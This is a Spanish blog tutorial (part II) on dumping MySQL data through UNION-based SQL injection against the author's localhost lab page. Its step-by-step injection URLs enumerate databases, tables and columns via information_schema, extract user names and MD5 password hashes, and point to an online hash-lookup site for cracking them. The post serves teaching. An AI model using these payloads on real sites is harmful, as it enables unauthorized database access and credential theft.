domingo, 22 de enero de 2012

Volcando datos al explotar un SQLi - Parte II

Hola con todos o con nadie dependiendo si es que leen o no xD bueno dejemos de lado eso y prosigamos con la segunda parte de esta entrada ahora si nos centraremos en como podemos volcar datos manipulado la DB "information_schema", para aquello que llegaron directamente a este post les recomiendo que se den una vuelta por la parte 1.
Ya habiendo descubierto que nos encontramos frente a un sqli tipo inbound o inyeccion estable, también que la versión del mysql es igual o mayor a 5.0.2 y por ultimo que el usuario tenga algunos privilegios o en el mejor de los casos sea root ya podremos manipular "information_schema".
Para este caso con el termino volcar datos me refiero a poder tener acceso a información de otras bases de datos, tablas, etc.. es definir información sensible almacenada en el sistema un ejemplo podría ser la DB donde contiene los usuarios y password de los administradores entre otros.
por lo tanto volcar datos para un usuario malintencionado es simplemente una consulta a dichas bases de datos por algún usuario valido por lo tanto diremos que necesitamos realizar un SELECT por tanto requerimos de 3 datos importantes los cuales son el "nombre de la base de datos", "nombre de la tabla" y "los campos" los cuales queremos consultar por ejemplo:
SELECT user, password FROM datos.usuarios where user = "neotrons";
Aqui observamos que un usuario que tiene acceso autorizado a la base de datos puede realizar un SELECT hacia la DB "datos" la table "usuarios" y muestra los calpos "user,password", pero un usuario que no tiene acceso a estos datos puede elaborar consultas dirigidas hacia "information_schema" para obtener dichos datos, en el caso de "information_schema" tenemos que consultar la Tabla "SCHEMATA" esta tabla proporciona información acerca de las db y uno de su campos "SCHEMA_NAME" contiene los nombres de todas la BD del sistema, para consultar esto datos solo haríamos algo así:
SELECT schema_name FROM information_schema.schemata;
también es necesario consultar la tabla "TABLES" que contiene toda la información relacionada a las tablas del sistema y los campos importantes serian "TABLE_SCHEMA" este campo contiene el nombre de la base de datos a la cual pertenece la tabla y "TABLE_NAME" contiene en nombre de la tabla. la consulta apropiada seria:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'nombre_db';
Por ultimo la tabla "COLUMNS" contiene información de todas los campos pertenecientes al sistema, los campos que intervienen en la consulta serian "TABLE_SCHEMA" contien en nombre de la DB a la que pertence, TABLE_NAME contiene en nombre de la tabla a la que pertenece y COLUMN_NAME el nombre de las columnas correspondientes. una consulta adecuada sera:
SELECT column_name FROM information_schema.columns WHERE table_schema = 'nombre_db' AND table_name = 'nombre_tabla';
Ahora como aplicamos todo este floro a nuestra web vulnerable, pues fácil simplemente agregamos las consultas anteriores luego de la clausula "UNION", sin embargo el exito que tengamos depende del análisis que demos al comportamiento del sitio web ejemplo:
Que pasaría si tratamos de volcar los nombres de todas las BD del sistema haríamos algo así:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata
nosotros esperamos todos los datos tal y como lo hace la consulta sin embargo comportamiento de la web nos dirige a la pagina principal, entonces en estos caso necesitamos analizar el comportamiento de nuestro objetivo, estos comportamientos ocurren debido a que las aplicaciones limitan o solo muestran en pantalla un numero determinados de resultados si vemos el código php de nuestro ejemplo verificamos que se limita a recibir un solo campo y si el resultado es distinto redigira al inicio veamos:
if (count($datos) != 1) {
header("Location:sqli.php");
}else {
echo $datos[0]["titulo"];
echo "<br/>";
echo $datos[0]["texto"];
}
Entonces también tenemos que limitar el resultado de la consulta al numero de filas obtenidas esto lo logramos añadiendo la clausula LIMIT la consulta quedaría:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+0,1
casi siempre en primer datos es information_schema ahora debemos cambiar LIMIT 0,1 por [1,1] [1,2]..
en este caso es importan conocer cuantas bases de datos tiene el sistema esto lo logramos haciendo:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,COUNT(schema_name),3+FROM+information_schema.schemata
En mi caso tengo 4 Bases de datos entonces mis consultas serian:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+2,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,schema_name,3+FROM+information_schema.schemata+LIMIT+3,1
Yo usare la Base de Datos "datos" para este ejemplo en cual creamos en la PARTE 1.
Ahora para obtener las tablas y las columnas utilizamos la misma lógica primero identificamos el numero de tablas que contiene la base de datos y luego mostramos con LIMIT cada tabla:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,COUNT(table_name),3+FROM information_schema.tables+WHERE+table_schema =+'datos'
En nuestro caso nos devuelve 1 es decir una sola tabla así que vasta con hacer un LIMIT 0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+ALL+1,table_name,3+FROM information_schema.tables+WHERE+table_schema =+'datos'+LIMIT+0,1
Ya tenemos la Base de datos "datos" y la tabla "usuarios" solo nos falta saber que campor importantes contiene para poder volcar sus datos;
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,COUNT(column_name),3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'
En este caso existen 4 campos ahora los listamos para saber cuales son los importantes:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+2,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,column_name,3+FROM+information_schema.columns+WHERE+table_schema+=+'datos'+AND+table_name+=+'usuarios'+LIMIT+3,1
obtenemos los campo "id","user","nombre","password", a nosotros nos tienta "user" y "password" asi que ahora que tenemos la BD "datos", la table "usuarios" y los campos "user" y "password" ahora solo consultamos:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,COUNT(user),3+FROM+datos.usuarios
obtenemos 3 resultados es decir 3 usuarios validos ahora haremos lo siguiente:
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+0,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+1,1
http://localhost/sqli.php?fileid=1+AND+1=0+UNION+SELECT+1,user,password+FROM+datos.usuarios+LIMIT+2,1
Ya obtuvimos los resultados:
neotrons - 2109273d6457e96abbe8fb88bf62c074
fucken - 5f4dcc3b5aa765d61d8327deb882cf99
yao - e636319c2b0bb71c27d8766631edbe7f

Muchas beses las contraseñas se encuentran editadas por alguna función denominada de solo ida es decir que no existe un algoritmo para encontrar la clave original a partir del resultado ta es las claves generadas con la función md5() pero existen aplicaciones con valores pre calculados en la cual poder obtener el resultado un sitio online gratuito muy conocido es http://www.md5decrypter.co.uk/
y así dependiendo de la complejidad de la clave demorara un tiempo determinado.

No hay comentarios:

Publicar un comentario